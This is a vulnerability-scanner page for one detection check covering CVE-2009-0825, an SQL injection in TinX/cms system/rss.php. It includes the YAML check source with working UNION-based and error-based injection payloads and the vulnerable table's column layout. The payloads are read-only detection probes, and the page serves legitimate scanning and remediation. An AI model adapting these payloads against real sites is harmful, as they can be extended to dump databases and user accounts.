TinX/cms — 1 vulnerability check

noctis ships 1 vulnerability check for TinX/cms, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

TinX/cms system/rss.php id SQL Injection

CVECVE-2009-0825
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/tinx-cms/CVE-2009-0825.yaml

TinX/cms 3.x before 3.5.1 puts the id parameter of system/rss.php unquoted into an SQL query and prints the returned row in the RSS feed, allowing unauthenticated SQL injection (an attacker can read the whole database, including the user accounts).

This check requests system/rss.php under the web root and the usual install paths. Where it answers, it sends an id that is a UNION SELECT of an expression multiplying two random numbers and, if that row does not come back, an id whose MySQL XPATH error carries the same product. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. No table data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/system/rss.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/system/rss.php?id={{sc.q_union}}
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/system/rss.php?id={{sc.q_err}}
  7. Parses / computes the next value with a Rhai script
  8. Checks hit_dir for ^/ → finding QoD 97: TinX/cms system/rss.php id SQL Injection (CVE-2009-0825)

References:

Feed source — tests/vulnerabilities/tinx-cms/CVE-2009-0825.yaml
# TinX/cms 3.x < 3.5.1 — system/rss.php id SQL injection — CVE-2009-0825
#
# system/rss.php (TinX/cms 3.5, SourceForge tinx-cms) takes $_GET['id'] as is and runs
#     SELECT * FROM tinx_object_documentlists WHERE id=$id
# (TSQL::selectQuery, nothing appended), then prints the row's title and
# rss_description columns raw into the RSS <channel> (<title>…</title>,
# <description>…</description>). tinx_object_documentlists has 9 columns (id, title,
# category_id, display, sort_by_fieldname, sortorder, template, rss, rss_description).
# category_id feeds a second query (WHERE category=$category), so it must stay numeric.
# On any SQL error TSQL::error_message() echoes "Error: <mysql_error()><br><b>selectQuery(<query>) error</b>…"
# and exits. 3.5.1 adds `if ($id == "" || !is_numeric($id)) { echo "Invalid ID"; exit; }`
# before anything else (diff of the SourceForge 3.5 and 3.5.1 zips).
#
# Detection (QoD 97), per candidate dir whose system/rss.php answers 200:
#   1. id = -1 union select 1,C,3,4,5,6,7,8,C-- -  with C = CONCAT(0x4e4f43544953, a*b, 0x454e44)
#      and random a, b: the vulnerable page returns NOCTIS<a*b>END in <title> and
#      <description>.
#   2. if the UNION did not come back (another column count, a theme that hides the
#      channel), id = -1 and extractvalue(1,concat(0x7e,a*b))-- - : the "Error: …"
#      page carries MySQL's "XPATH syntax error: '~<a*b>'".
# The product a*b is never in the request (the error page echoes the query text, which
# only holds "a*b"), so only a database that evaluated our expression can return it.
# Read-only: no table referenced, nothing extracted, nothing written. Checked against a
# reconstruction of rss.php (3.5 and 3.5.1 code, mysqli) on MariaDB 10.11 through
# PHP 8.3: both probes hit on the 3.5 code, 3.5.1 answers "Invalid ID".
#
# Better than the source NASL:
#   - a database-computed value instead of the fixed hex-decoded string
#     "SQL-Injection-Test", so a page that echoes id after decoding 0x literals (or a
#     honeypot) cannot match;
#   - an error-based second probe that still works when the UNION column count differs;
#   - the payload ends with "-- -" instead of ";", and also probes the web root and /tinx.
#
# Source: OpenVAS/Greenbone NVT 2009/gb_tinx_cms_sqli_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100029, GPL-2.0-only).
uid: aa6e97b4-e4c6-4824-b65d-17d673a940c5
name: "TinX/cms system/rss.php id SQL Injection (CVE-2009-0825)"
description: |
  TinX/cms 3.x before 3.5.1 puts the id parameter of system/rss.php unquoted into an
  SQL query and prints the returned row in the RSS feed, allowing unauthenticated SQL
  injection (an attacker can read the whole database, including the user accounts).

  This check requests system/rss.php under the web root and the usual install paths.
  Where it answers, it sends an id that is a UNION SELECT of an expression multiplying
  two random numbers and, if that row does not come back, an id whose MySQL XPATH error
  carries the same product. The vulnerability is confirmed when the page returns the
  product computed by the database, which never appears in the request. No table data
  is read and nothing is written.
cves: [CVE-2009-0825]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [tinx-cms, sqli, union-based, error-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-0825"
  - "http://en.securitylab.ru/lab/PT-2009-13"
  - "http://www.securityfocus.com/bid/34021"
  - "https://sourceforge.net/projects/tinx-cms/"
  # OpenVAS/Greenbone NASL 2009/gb_tinx_cms_sqli_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected values and the encoded id payloads ──────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         want_err: "~" + (a * b),
         expr: a + "*" + b,
         q_union: "-1%20union%20select%201," + c + ",3,4,5,6,7,8," + c + "--%20-",
         q_err: "-1%20and%20extractvalue(1,concat(0x7e," + a + "*" + b + "))--%20-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  - id: init-how
    action: set_var
    var_name: hit_how
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/cms", "/tinxcms", "/tinx"]

  - id: init-union-resp
    action: set_var
    var_name: union_resp
    var_value: {status: 0, body: ""}

  - id: init-err-resp
    action: set_var
    var_name: err_resp
    var_value: {status: 0, body: ""}

  - id: init-is-tinx
    action: set_var
    var_name: is_tinx
    var_value: false

  - id: fetch-landing
    action: http_request
    method: GET
    path: "{{dir}}/system/rss.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: landing

  - id: gate
    action: script
    condition: 'hit_dir == ""'
    code: |
      landing.status == 200
    store_as: is_tinx

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/system/rss.php?id={{sc.q_union}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && is_tinx == true'
    store_as: union_resp

  - id: check-union
    action: script
    condition: 'hit_dir == "" && is_tinx == true'
    code: |
      let body = if type_of(union_resp.body) == "string" { union_resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  - id: how-union
    action: set_var
    condition: 'hit_dir != "" && hit_how == ""'
    var_name: hit_how
    var_value: "id=-1 union select 1,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),3,4,5,6,7,8,CONCAT(...)-- - returned the database-computed value {{sc.want}} in the RSS channel"

  - id: error-probe
    action: http_request
    method: GET
    path: "{{dir}}/system/rss.php?id={{sc.q_err}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && is_tinx == true'
    store_as: err_resp

  - id: check-error
    action: script
    condition: 'hit_dir == "" && is_tinx == true'
    code: |
      let body = if type_of(err_resp.body) == "string" { err_resp.body } else { "" };
      if body.contains("XPATH syntax error") && body.contains(sc.want_err) {
        if dir == "" { "/" } else { dir }
      } else { "" }
    store_as: hit_dir

  - id: how-error
    action: set_var
    condition: 'hit_dir != "" && hit_how == ""'
    var_name: hit_how
    var_value: "id=-1 and extractvalue(1,concat(0x7e,{{sc.expr}}))-- - returned the database-computed value in the MySQL error: XPATH syntax error: '{{sc.want_err}}'"

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "TinX/cms system/rss.php id SQL Injection (CVE-2009-0825)"
        description: "An unauthenticated request to system/rss.php with an id carrying a multiplication of two random numbers returned the product computed by the database: id reaches the SQL query unquoted, so an attacker can read the whole database (including the user accounts)."
        remediation: "Upgrade TinX/cms to 3.5.1 or later, which rejects a non-numeric id in system/rss.php, or remove the application (no longer maintained)."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: {{hit_how}}"
      stop: true

View these feeds on GitHub